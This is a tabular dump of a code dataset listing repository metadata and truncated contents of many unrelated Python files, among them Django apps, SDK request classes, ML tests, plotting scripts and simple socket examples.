blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 246
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
591547196666ba74696882e924b9b0092ccb2e48 | b52a1091fbd167a060466b05d7b611f1a5ef24f9 | /SOAP.py | adbf0ae163111acb886bf5e977fde6e251bf99ae | [] | no_license | geoffreywestGIS/pythonscripts | 5cc765c1208e5ed61fe4c00645ee7a831751a3d3 | 50b1421999961441f9641ce3ee97880fe9eb5a0c | refs/heads/master | 2021-03-12T20:27:10.296344 | 2015-03-31T18:01:25 | 2015-03-31T18:01:25 | 32,751,541 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,106 | py | import string, os, sys
import httplib
server_addr = httplib. HTTPConnection('67.227.0.42/arcgis/services/FeatureMapService/MapServer/FeatureServer?wsdl:6080')
service_action = "/services?wsdl/GetServiceDescriptionsEx"
body = """
<soapenv:Envelope xmlns:soapenv="http://www.esri.com/schemas/ArcGIS/10.1" xmlns:ns="http:... | [
"geoffreywestGIS@gmail.com"
] | geoffreywestGIS@gmail.com |
9e147454ebbe583aae958e4c95cc4a87cd3a44ab | 5f9695616cce1c03013ae9a5e823ad686bf33b6e | /tests/test_unet2.py | 8d5f6867f0a173f479a72b89d2328f66e9994c1f | [
"MIT"
] | permissive | caiyunapp/leibniz | c9567685cafbc618d22487e408a27ba21cc8633e | 40bb6f088c5325701ca53506d7a66eb0a9ef4fef | refs/heads/master | 2023-04-16T18:31:27.194818 | 2021-09-13T15:54:57 | 2021-09-13T15:54:57 | 208,940,378 | 16 | 5 | null | null | null | null | UTF-8 | Python | false | false | 11,603 | py | # -*- coding: utf-8 -*-
import unittest
import torch as th
from leibniz.nn.net import resunet2
from leibniz.nn.layer.hyperbolic import HyperBasic
from leibniz.nn.layer.hyperbolic import HyperBottleneck
from leibniz.nn.layer.senet import SEBasicBlock, SEBottleneck
from leibniz.nn.layer.hyperbolic2 import HyperBasic as... | [
"mingli.yuan@gmail.com"
] | mingli.yuan@gmail.com |
ca2956bc2eed953b908d3edf74589e6ded2436d9 | 90449f55230622e06c85bed858acbbde85b2f399 | /dist/suffer.app/Contents/Resources/__boot__.py | d17f1a81d0efc2a657313e2adfd05e84ce000918 | [] | no_license | jalovisko/SMeter | 1d5c5dcbeb9b824f961b3d35d5c36edda0b7bf8d | 3577c1eef37429051abbb70137cb67335a5a2601 | refs/heads/master | 2021-04-12T10:49:47.092091 | 2017-07-10T10:46:59 | 2017-07-10T10:46:59 | 94,534,643 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,251 | py | def _reset_sys_path():
# Clear generic sys.path[0]
import sys
import os
resources = os.environ['RESOURCEPATH']
while sys.path[0] == resources:
del sys.path[0]
_reset_sys_path()
def _site_packages():
import site
import sys
import os
paths = []
prefixes = [sys.prefix]... | [
"letovnn@gmail.com"
] | letovnn@gmail.com |
8ba11f2ef590038ba7088d6471103e17aea99a38 | 08301e2a1a775ddbb25cfe04c8ed62afcd9b428b | /utils/helpers.py | 2945b7b949339d9a18dde0d58d53e253b70a1c43 | [] | no_license | KateShapovalova/linkedin | 0a1f5f583bfdb57b1fdbb64a086eb0699aafca74 | 17885e4c8b7641b3487403dc1c656bcc3d025d0c | refs/heads/master | 2023-06-06T01:28:15.532775 | 2021-06-24T12:25:33 | 2021-06-24T12:25:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,800 | py | def get_id_from_urn(urn):
"""
Return the ID of a given Linkedin URN.
Example: urn:li:fs_miniProfile:<id>
"""
return urn.split(":")[3]
def get_urn_from_raw_update(raw_string):
"""
Return the URN of a raw group update
Example: urn:li:fs_miniProfile:<id>
Example: urn:li:fs_updateV2:... | [
"shapovalova.kate1997@gmail.com"
] | shapovalova.kate1997@gmail.com |
a3d39c7cacd05406c589fa1898cdea4bc0e3e49a | 51c57fd203d75d70dea31ae9816f45b046411261 | /simple_vect_field/vector_field.py | 7585eedd34b24cc4d35d4e4a006e6893f131256a | [] | no_license | HoughGrant/matplotlib_art | 376642410afd1737583aa8ef1ca7f6e144b3babd | 6722f2a7906d190390ab7bbc29a5ea5237bcb0fb | refs/heads/main | 2023-06-25T21:06:19.118253 | 2021-07-26T01:51:36 | 2021-07-26T01:51:36 | 335,814,007 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,482 | py | import matplotlib.pyplot as plt
import numpy as np
def run_1():
def v_x(x: float, y: float) -> float:
""" x_velocity vector field """
return -y ** 2 - 5 * y + 0.2 * x * y ** 3
def v_y(x: float, y: float) -> float:
""" y_velocity vector field """
return -x ** 2 + 2 * x + 5 * y ... | [
"houghgrant94@gmail.com"
] | houghgrant94@gmail.com |
4a404290eef8c70049ea154977a634238d6797a0 | a72f39b82966cd6e2a3673851433ce7db550429a | /imix/data/loaders/visual_dialog_dataset.py | 1ff1aed7483afe4283ef3a5267e1db67c5410fa9 | [
"Apache-2.0"
] | permissive | linxi1158/iMIX | 85841d6b95e1d99ed421a1ac3667658e49cae6fc | af87a17275f02c94932bb2e29f132a84db812002 | refs/heads/master | 2023-06-09T23:37:46.534031 | 2021-06-30T12:09:42 | 2021-06-30T12:09:42 | 381,608,650 | 0 | 0 | Apache-2.0 | 2021-06-30T07:08:40 | 2021-06-30T07:08:39 | null | UTF-8 | Python | false | false | 10,038 | py | from torch.utils.data import Dataset
from imix.data.reader.visual_dialog_reader import VisDiaReader
from imix.data.infocomp.visual_dialog_infocpler import VisDiaInfoCpler
from imix.data.builder import DATASETS
import torch
import json
from transformers.tokenization_bert import BertTokenizer
from imix.data.reader.featu... | [
"hsslab.inspur@gmail.com"
] | hsslab.inspur@gmail.com |
9d45a3bb593edb5c2ffcac2a4fb25732dd6a03a8 | c3d82f3e13dcb72446257694d2f2828a903d11d3 | /final2/users/admin.py | 531b6e8780ab5acf77f0ae73bdc14d3e4e879fd8 | [] | no_license | danielchain3/Hotdog-Not-Hotdog | 610de58842a9df5531906a7f391a5d2f8a1e4949 | 986bb253f86e22059886d8cc400ce02d674b32e3 | refs/heads/master | 2022-12-18T04:17:32.805173 | 2019-12-16T00:47:29 | 2019-12-16T00:47:29 | 225,662,289 | 0 | 1 | null | 2022-12-08T03:18:17 | 2019-12-03T16:09:19 | Python | UTF-8 | Python | false | false | 447 | py | from django.contrib import admin
from django.contrib.auth import get_user_model
from django.contrib.auth.admin import UserAdmin
from .forms import CustomUserCreationForm, CustomUserChangeForm
from .models import CustomUser
class CustomUserAdmin(UserAdmin):
add_form = CustomUserCreationForm
form = CustomUserCh... | [
"davidliang929@gmail.com"
] | davidliang929@gmail.com |
69902164ea9b3ea1f9ce378a4254075c62c0dac7 | bc0938b96b86d1396cb6b403742a9f8dbdb28e4c | /aliyun-python-sdk-alidns/aliyunsdkalidns/request/v20150109/DescribeDomainStatisticsRequest.py | 067b160a177535f3387786359d536dd3e134c0fa | [
"Apache-2.0"
] | permissive | jia-jerry/aliyun-openapi-python-sdk | fb14d825eb0770b874bc123746c2e45efaf64a6d | e90f3683a250cfec5b681b5f1d73a68f0dc9970d | refs/heads/master | 2022-11-16T05:20:03.515145 | 2020-07-10T08:45:41 | 2020-07-10T09:06:32 | 278,590,780 | 0 | 0 | NOASSERTION | 2020-07-10T09:15:19 | 2020-07-10T09:15:19 | null | UTF-8 | Python | false | false | 1,896 | py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | [
"sdk-team@alibabacloud.com"
] | sdk-team@alibabacloud.com |
9a1ebe0e49c72ca6b28bb08e32c90d03154eff35 | 40d2172ed25d7fce68e169eecc6c1155722b62b4 | /tweepy-statuses.py | fb95128bafda0b72e103dbe388f02de0f12b422f | [] | no_license | mortie23/twitter-twurl-csv | 51933bd59987602add3183d29bc379242d8ad4a0 | da51ce7376f155ddf5eaa2c41c1c50c648bbb3db | refs/heads/master | 2020-09-21T10:09:04.491949 | 2020-01-29T03:31:55 | 2020-01-29T03:31:55 | 224,760,984 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,560 | py | #!/usr/bin/python3
## Author: Christopher Mortimer
## Date: 2020-01-15
## Desc: Get all statuses based on a list of ids
## Depend: pip3 install tweepy --user
## pip3 install pandas --user
## pip3 install os --user
import sys
## Add the parent directory containing the auth files
sys.path.appen... | [
"christopher@email.com"
] | christopher@email.com |
d5d687a261f1ff22ddbc2e8327a32492a9ccd1d9 | 87fbca6990c8cb0185fdecae7ac70f931332f7f3 | /User.py | 0986dde0043f8c387e85834e55d02931fd14b1ec | [] | no_license | Sulfurixar/Elybot | 7dd09154e2f85ec7caf62efd710566bf7bf6965c | 0ccb2d248af055f811842ad4e3c20344f24b6801 | refs/heads/master | 2020-04-24T10:40:30.767517 | 2019-02-21T16:05:41 | 2019-02-21T16:05:41 | 171,901,717 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,340 | py | from Utils import Utils
import datetime
import discord
import json
import copy
import os
class User(object):
def __init__(self, data, server, user):
self.user_config_path = os.path.join(server.user_path, '{}.json'.format(user.id))
self.user = user
self.server = server
... | [
"Sulfurixar@gmail.com"
] | Sulfurixar@gmail.com |
e2b58782ad188be442ae49e9a7cc718b463abe1a | 8b60b2b9946af0a441bde689a4c9e43f29fb40ac | /node_modules/browser-sync/node_modules/chokidar/node_modules/fsevents/build/config.gypi | b119c6204c99fc86f750da484afc9c1af3454abd | [
"MIT",
"Apache-2.0"
] | permissive | shura-sparrow/raketa | bf3a3e6cb535377351b8d08ea82adc418707721a | f44c1f143800197c7beb3b89702be48b7b6272f5 | refs/heads/master | 2020-06-05T10:17:02.592220 | 2015-09-08T20:41:37 | 2015-09-08T20:41:37 | 41,766,424 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,738 | gypi | # Do not edit. File was generated by node-gyp's "configure" step
{
"target_defaults": {
"cflags": [],
"default_configuration": "Release",
"defines": [],
"include_dirs": [],
"libraries": []
},
"variables": {
"clang": 1,
"host_arch": "x64",
"icu_data_file": "icudt54l.dat",
"icu_d... | [
"shurasparrow@vorobyuova.Obninsk.ru"
] | shurasparrow@vorobyuova.Obninsk.ru |
2c84113914b63d511640aec8c07688f75660e985 | 705458c0781ebd7c13776ebf7d690eaf929a8880 | /day27_20191218/2,类的内置方法.py | 76665ae8c02b6bb29ca6ca2f3e4eb2793b9301a0 | [] | no_license | langlangago/learn_python | 8f2298251ad0c07e8efa298d409cdbe77f60bc1b | 29ca4ce4a0628e9b168b9e314acfe5889eb5fc6a | refs/heads/master | 2020-05-16T15:35:15.212613 | 2020-04-16T03:34:43 | 2020-04-16T03:34:43 | 183,135,843 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,756 | py | # encoding:utf-8
# __str__, __repr__ 用于解释说明,看起来好懂一点
# str() 转换成字符串 ,== __str__
# repr() 原形毕露,原形显示,== __repr__
# print(1, '1')
# print(repr(1), repr('1'))
# class Teacher:
# def __init__(self,name, age):
# self.name = name
# self.age = age
# def __str__(self):
# return 'This is a Teach... | [
"lxwno.1@163.com"
] | lxwno.1@163.com |
b44afe41d7c0420888c16fb1296fb8feeb61c675 | 1d4fdcc3ad5a18841da84c9dc9a1838aa4129d40 | /For First Design/aircracft.py | f0c36bce1c5d43a04a18033b2796cff14d929cec | [] | no_license | aneax/fixed_wing | fca20b8d80754ff07d39403d9eefed656ef92129 | 0f56302113f329ecd1c417b4ef9f549590d1bf2d | refs/heads/master | 2021-10-28T03:24:33.212703 | 2019-04-21T08:51:32 | 2019-04-21T08:51:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,587 | py | import math
import atmosphere
import matplotlib.pyplot as plt
import numpy as np
import scipy as sp
f=open('output.txt','w')
n=5
stall_margin=7 #m/s
#def round_value(func):
# return round(func,n)
##%% Mission Requirements
#f.write("Mission Requirements\n\n")
#endurance=0 #min
#f_range=30 #km
#stall_margin=7 #m/s
... | [
"xajsc.aneax@gmail.com"
] | xajsc.aneax@gmail.com |
780964a1b244dc8494d1e94aa7ffa9022b5d450e | 540f1e3233b2bee5248ff95d65b6be4be53203b1 | /venv/bin/easy_install-3.6 | c4325e86f59b04b1da39d5ab5928c355714f6f08 | [] | no_license | ArijitR111Y/Python-programming-exercises | 2db108134d0109b2e1bb202fa54f36abab560972 | 6e4c258bb8d590db5ba527dde24e2fc67dcf7fd1 | refs/heads/master | 2020-03-26T17:34:17.830803 | 2018-10-28T06:56:15 | 2018-10-28T06:56:15 | 145,168,707 | 0 | 0 | null | 2018-08-17T21:37:45 | 2018-08-17T21:37:44 | null | UTF-8 | Python | false | false | 476 | 6 | #!/home/arijit/Documents/Github_Repos/Python-programming-exercises/venv/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==39.1.0','console_scripts','easy_install-3.6'
__requires__ = 'setuptools==39.1.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.s... | [
"arijit@arijit.roy"
] | arijit@arijit.roy |
a4179dd3d6f20a183b344f05c1d32a059c61e4a6 | c3eabffad6813a285ea1aa554ff05ef3e798bfa7 | /bubbleshoot/utils.py | d1690f1bba79a87551017310240add1a42ba2277 | [] | no_license | ranjian0/mini-games | 8a96eef730cffccd548cd70dee3349ad31502ba3 | 34bb48456ed6e3fc0d82a4c936e01c48bf0e8f47 | refs/heads/master | 2020-03-19T00:09:24.914583 | 2020-01-08T15:32:46 | 2020-01-08T15:32:46 | 135,455,396 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,516 | py | import os
import math, random
import pygame as pg
from pygame.sprite import *
# from player import Player
# from enemy import EnemySpawner
TRANSPARENT = (0, 0, 0, 0)
def random_pos(target, dist):
pad = 100
max_ = pg.display.get_surface().get_size()
pos = [random.randint(0, n - pad) for n in max_]
... | [
"karanjaichungwa@gmail.com"
] | karanjaichungwa@gmail.com |
3d6106b6e7e3d37af803f11255cad2346a387720 | 434a76f2a39b6152e18f25c092e2d3e272bcaa7d | /api/views/blockchains/resources.py | b30b53e5a6ba756d1d935653476963c9e299f4e2 | [
"Apache-2.0"
] | permissive | DaCeige/machinaris | fce98168d0ec288b47c37662079cbb928975badc | 2d3837c8af00bb41162f8be1cbf6eaf1cb6c6fdb | refs/heads/main | 2023-08-24T13:10:22.511119 | 2021-10-07T18:55:25 | 2021-10-07T18:55:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,326 | py | import datetime as dt
from flask.views import MethodView
from api import app
from api.extensions.api import Blueprint, SQLCursorPage
from common.extensions.database import db
from common.models import Blockchain
from .schemas import BlockchainSchema, BlockchainQueryArgsSchema
blp = Blueprint(
'Blockchains',
... | [
"guydavis.ca@gmail.com"
] | guydavis.ca@gmail.com |
498e8a90ccaf27eae56b85de8b72e5e374d54131 | 7a333c69d854d86761a7581fffa1c16d73f12cb6 | /selenium/venv/bin/pip3 | 11404631f19763f89536808d54160c7b11a122ac | [] | no_license | chestnut-egg/selenium | f81ccbf0adbbf6101058a63ff4c7be755d2f6b3b | 5bdd914672e4ac90bed70eb3d5882f9697abb668 | refs/heads/master | 2020-06-02T07:55:16.997757 | 2019-06-10T03:27:31 | 2019-06-10T03:27:31 | 191,089,745 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 401 | #!/home/ppg/PycharmProjects/selenium/venv/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.... | [
"1048232111@qq.com"
] | 1048232111@qq.com | |
28e8240ad2da071ca6374a24427c0cf04bf1df66 | 9cfc5ab90362545c38def5c33f2d6bcdc11d65ab | /blog/views.py | 2dfa65dadb84e7084340b0361bd1c79219bc714f | [] | no_license | salehmmasri/django-crud | 377c4d30987425e9d4b8b83cdba41faf036d1c88 | 2de04f36ad612191dd3bbd1f23107af9feadd1ed | refs/heads/master | 2022-12-21T05:09:24.798958 | 2020-09-22T17:33:22 | 2020-09-22T17:33:22 | 297,630,502 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 796 | py | from django.shortcuts import render
from django.views.generic import CreateView, UpdateView, DeleteView,TemplateView, ListView, DetailView
from .models import Post
from django.urls import reverse_lazy, reverse
# # Create your views here.
class PostView(ListView):
template_name = 'home.html'
model=Post
class P... | [
"salehalmasri494@yahoo.com"
] | salehalmasri494@yahoo.com |
0c31c2c12ba0cee2fca07eaa29b494befb80343a | 1626e16760c9c5b5dc9bd7c345871c716d5ffd99 | /Problems/0001_0099/0037_Sudoku_Solver/Project_Python3/Solution1.py | 55219e728189a2d7038f6a589b53cbfbcce69186 | [] | no_license | NobuyukiInoue/LeetCode | 94ddb19e63cb8d0775cdc13f311fe90c87a1d718 | 3f0ffd519404165fd1a735441b212c801fd1ad1e | refs/heads/master | 2023-09-01T07:38:50.939942 | 2023-08-23T09:51:17 | 2023-08-23T09:51:17 | 158,100,912 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,391 | py | class Solution:
# def solveSudoku(self, board: List[List[str]]) -> None:
def solveSudoku(self, board):
"""
Do not return anything, modify board in-place instead.
"""
from collections import defaultdict
nums = [str(i) for i in range(1, 10)]
rows, cols, cells, empty ... | [
"spring555@gmail.com"
] | spring555@gmail.com |
f4d93c91da7d8510d5fdbdc9854b1470747f5ebf | 19b9bc401df28ede4b4a5f6fa00ee17042299719 | /archive/To02-01/01-30/jingu_01-30.py | 41fe494a1558fad298323d28a96511a96d845074 | [] | no_license | kibitzing/FluentPython | fb0c21c164e0bf7a543e8c3c0d92c6f6c303ebb6 | 75c743ce4c5e65c2d891babd23f0e4b873924000 | refs/heads/master | 2021-07-10T23:42:58.224235 | 2019-02-12T14:24:06 | 2019-02-12T14:24:06 | 147,219,835 | 7 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,976 | py | # p642~p646
# created by Jingu Kang on 01-29
# reference: Fluent Python by Luciano Ramalho
# more abstract python.
def cls_name(obj_or_cls):
cls = type(obj_or_cls)
if cls is type:
cls = obj_or_cls
return cls.__name__.split('.')[-1]
def display(obj):
cls = type(obj)
if cls ... | [
"noreply@github.com"
] | kibitzing.noreply@github.com |
c777b2d81bada506a7365c5637fbc842bcabaf80 | 4d9c13e61e61f3a6693e2ac427a1dcc93c749bd6 | /myparse.py | c83e15b8038e37bce0686783fbec2f3fe7044af9 | [] | no_license | yijiaohe/extractive-summs | 9b48e0eec7759acc1dde0a9fc7e43bb754dc5176 | f2c7d60cc3b8ebf7ad146097067cc26cc14952c5 | refs/heads/master | 2020-03-13T07:26:37.955091 | 2018-04-25T15:58:15 | 2018-04-25T15:58:15 | 131,025,583 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,942 | py | #!/usr/bin/env python3
import MySQLdb
import sys
import io
import operator
import getopt
import shutil
import os
from html.parser import HTMLParser
stop_tags = ['h1', 'h2', 'h3', 'p', 'dt', 'dd', 'blockquote']
empty_tags = ['area','base','br','col','embed','hr','img','input',
'link','meta','param','source','tra... | [
"noreply@github.com"
] | yijiaohe.noreply@github.com |
7a08948419da7bf634db355ebdf9a7f31dfd17f5 | cff22053a94d9c2b97fc0c0a420f627d8cb30cd4 | /Django2(only)_blog_one_with_comment/myfirst/myfirst/settings.py | 45288ea87136dd657a962acee896ef5f169e68a0 | [] | no_license | Pasha-lt/My-Project | a8636b8dff3fd748aaf8752024d33263aa42a60b | 57dd55ce910f259b9b434db5476361c967a1ca0f | refs/heads/master | 2022-12-13T04:51:52.877732 | 2020-07-13T17:29:09 | 2020-07-13T17:29:09 | 238,881,337 | 0 | 0 | null | 2022-12-08T03:47:23 | 2020-02-07T09:00:10 | CSS | UTF-8 | Python | false | false | 3,580 | py | """
Django settings for myfirst project.
Generated by 'django-admin startproject' using Django 2.2.4.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
im... | [
"noreply@github.com"
] | Pasha-lt.noreply@github.com |
2fc0eb1ac5dcc2492d8e658d9c76edbee562ba75 | f909758f99f6ab9f150262cd65bc15bbb82e11c4 | /sources/reddit_api_wrapper.py | 16474a397ffab244a9f1845fbfd9e578e3fae775 | [] | no_license | igsi/R2D2 | b05af200c31e596501464f99a60a95516d9ed4fe | c663babff858a17692bd017969e6e48ccb7ad139 | refs/heads/master | 2021-01-22T23:15:57.357311 | 2017-03-24T07:46:53 | 2017-03-24T07:46:53 | 85,620,168 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,044 | py | import praw
from r2d2_errors import R2D2_RedditError
class RedditWrapper:
def __init__(self, configuration, subreddits):
try:
self.reddit = praw.Reddit(client_id = configuration["client_id"],
client_secret = configuration["client_secret"],
... | [
"igsi@users.noreply.github.com"
] | igsi@users.noreply.github.com |
dc1572244f1304493d64d667155fcbbc94bf2c68 | 30f8afce1ba484183d8e1e14aae76cabb2d92354 | /pythonNet/day2/server_udp.py | 1d475122c9fb66755a8bb12c1c143cd7db4d6ed6 | [] | no_license | brooot/Python_Base_Codes | d83e8c3b8a37b86672412c812fdb0d47deb67836 | a864685e160b5df4162a6f9fb910627eda702aaf | refs/heads/master | 2023-04-10T20:08:39.161289 | 2021-03-25T12:59:23 | 2021-03-25T12:59:23 | 200,570,412 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 491 | py | #!/usr/bin/env python3
from socket import *
# 创建套接字对象
sockfd = socket(AF_INET, SOCK_DGRAM)
# 绑定地址
IP = '0.0.0.0'
PORT = 8888
ADDR = (IP, PORT)
sockfd.bind(ADDR)
while True:
# 接受数据(与tcp不同)
data, addr = sockfd.recvfrom(1024)
message = "已收到来自%s的数据:%s" % (addr, data.decode())
print(message)
# 发送数据
... | [
"1442704671@qq.com"
] | 1442704671@qq.com |
df2d58f94c00c797d30176fc3455dcad5d0125e0 | 371e1dd2cc704b951238337ad0ec5697659a7908 | /shopping/migrations/0001_initial.py | a18608908801381c708b61892d9a5b28bea01cfd | [] | no_license | talluriabhishek/shopping-app | 89e432827b3919aa7709926bb876d660688149c6 | 6b22ba0400a19cb79d8da51b569a5a9800fbf4c0 | refs/heads/master | 2021-01-10T02:50:48.542201 | 2016-01-22T05:08:44 | 2016-01-22T05:08:44 | 50,147,573 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,022 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-01-22 00:30
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
depen... | [
"svt244@nyu.edu"
] | svt244@nyu.edu |
eb072ee218d2a1895d7da00df4591fd81018b7c7 | 584db1be8b6bdedaa56d186692ad72da5ee07164 | /patron/tests/unit/virt/xenapi/test_driver.py | f8674f0cec1082ea4a77834f9a8001aa2c43c8e8 | [
"Apache-2.0"
] | permissive | casbin/openstack-patron | 66006f57725cf1c3d735cd5529d3459fd77384c8 | b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25 | refs/heads/master | 2023-05-31T05:23:37.721768 | 2015-12-31T12:18:17 | 2015-12-31T12:18:17 | 382,054,546 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,308 | py | # Copyright (c) 2013 Rackspace Hosting
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | [
"hsluoyz@qq.com"
] | hsluoyz@qq.com |
72ac156b2524eb314454f757d63de6933cd620b4 | 460a4bf1f736e7f484a0c26b10deaf6b2eb13bd2 | /venv_ML_CSG/bin/jupyter | 554741b6493b447707e5e914ade27a2015183de6 | [] | no_license | igor17400/machineLearningCallEvaluation | ff6fe668e87e6bd5884f4f87b62a242d37973dee | 1c157e7a9486305ce79c0dcf5284f6cba503d948 | refs/heads/master | 2023-01-13T22:48:32.053394 | 2020-11-12T05:48:46 | 2020-11-12T05:48:46 | 296,180,054 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 307 | #!/Users/igorlimarochaazevedo/Documents/Cellcrypt/machineLearningCallEvaluation/venv_ML_CSG/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from jupyter_core.command import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"igorlima1740@gmail.com"
] | igorlima1740@gmail.com | |
8308d8158367a20c31afa31998a2f7eb48b3601e | faaf763f55bade3b73a320d841fa4cb3a19d1884 | /src/dygie_ent/__init__.py | 48dce1901649ff8a80ca4be6df1cfbf485fad62f | [] | no_license | jeremytanjianle/few-shot-active-learner | 57bb552871d436890c9c088b42aa14a8ca979608 | 3bf1b1ccdccfe43747d5de5cbaa550b3c5d85f37 | refs/heads/main | 2023-04-26T16:14:00.572067 | 2021-05-26T14:10:58 | 2021-05-26T14:10:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 28 | py | from .model import Dygie_Ent | [
"limpetuponarock@gmail.com"
] | limpetuponarock@gmail.com |
f10f571988378799ac15273d5f05eee049bd9d4b | 34bdcfc5d7c884c6fcc79ab264f14a95d63418ac | /Capitulo7_Socket/Cliente_UDP.py | f9300f10bca0c3cbafcd5882e34c8b7ab5bee383 | [] | no_license | giomovini/nanoCouseFiap_python | a8be74eab47b9c8ec30a8983b13fdd64669f690e | 342f6f60a875f2081ec577b0362bdf97781ded43 | refs/heads/main | 2023-04-04T01:40:02.202390 | 2021-04-13T14:55:04 | 2021-04-13T14:55:04 | 346,827,474 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 445 | py | from socket import *
servidor = "127.0.0.1"
porta = 43210
obj_socket = socket(AF_INET, SOCK_DGRAM)
obj_socket.connect((servidor, porta))
saida = ""
while saida != "X":
msg = input("Sua mensagem: ")
obj_socket.sendto(msg.encode(), (servidor,porta))
dados, origem = obj_socket.recvfrom(65535)
... | [
"noreply@github.com"
] | giomovini.noreply@github.com |
5d4e5cf66dd81c1707202cdf95b789e009a79145 | 466a1b7e182be502aa9a0048f6d6216cd7139970 | /moduleFechas.py | 0da26b56d450256eca26476449c9198e9bafea64 | [] | no_license | redtdt/smdh | 168a8babe526dbf4423a588fe9f0286d9802c778 | c83ed5947a01935152b591ca68b8b4e9af2e430d | refs/heads/master | 2020-05-02T02:04:52.334028 | 2012-05-17T15:53:40 | 2012-05-17T15:53:40 | 3,880,045 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,809 | py | #-----------------------------------------------------------------------------
# Name: moduleFechas.py
#
#
# RCS-ID: $Id: moduleFechas.py $
#
# Licence: Sistema de Monitoreo de Derechos Humanos, Compilacion de datos
# Copyright (C) 2010, Asociacion Todos los Derechos para Todos, A.C.
# Registro Publico de... | [
"adolfo@adlap.(none)"
] | adolfo@adlap.(none) |
3d63d331134d18797d42e9881c410a0bb654d458 | 5f560350d45fb37aa5346ec746d05e7a9cecf583 | /sentiment_analysis_try1.py | 3d5472c9b5f8758f4ab3131c7048d96ec3e19926 | [] | no_license | nana55star/data-science-project-10-master | cb792ea47f8163b56373ab4d5667083fe715ee80 | 08b2fbe6b5829a2857928313accb02db0cebb1fb | refs/heads/master | 2022-11-19T03:15:24.597663 | 2020-07-20T02:25:17 | 2020-07-20T02:25:17 | 280,975,836 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,040 | py | from flask import Flask, request
import requests
from flask import jsonify
# Initialize flask application
app=Flask(__name__)
payload = {'count':1000, 'sort_order': 'ascending' }
result= requests.get("http://127.0.0.1:3000/get_data", payload, headers={'Content-Type': 'application/json'})
result_q = result.json()
text... | [
"64614297+nana55star@users.noreply.github.com"
] | 64614297+nana55star@users.noreply.github.com |
dd4d0d6c201679d893bb319a03af2a7033948222 | 31f4cab278d83a755f1e434f35273223b049d172 | /bugs/accumulo/5594b2e0/test/system/bench/lib/Benchmark.py | ae1fafcbabbaac4fae672042ac01f414b4e77712 | [
"Apache-2.0",
"BSD-3-Clause",
"MIT"
] | permissive | JenniferJohnson89/bugs_dot_jar_dissection | 2a017f5f77772ddb2b9a5e45423ae084fa1bd7a0 | 7012cccce9a3fdbfc97a0ca507420c24650f6bcf | refs/heads/main | 2022-12-28T16:38:18.039203 | 2020-10-20T09:45:47 | 2020-10-20T09:45:47 | 305,639,612 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,612 | py | # Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
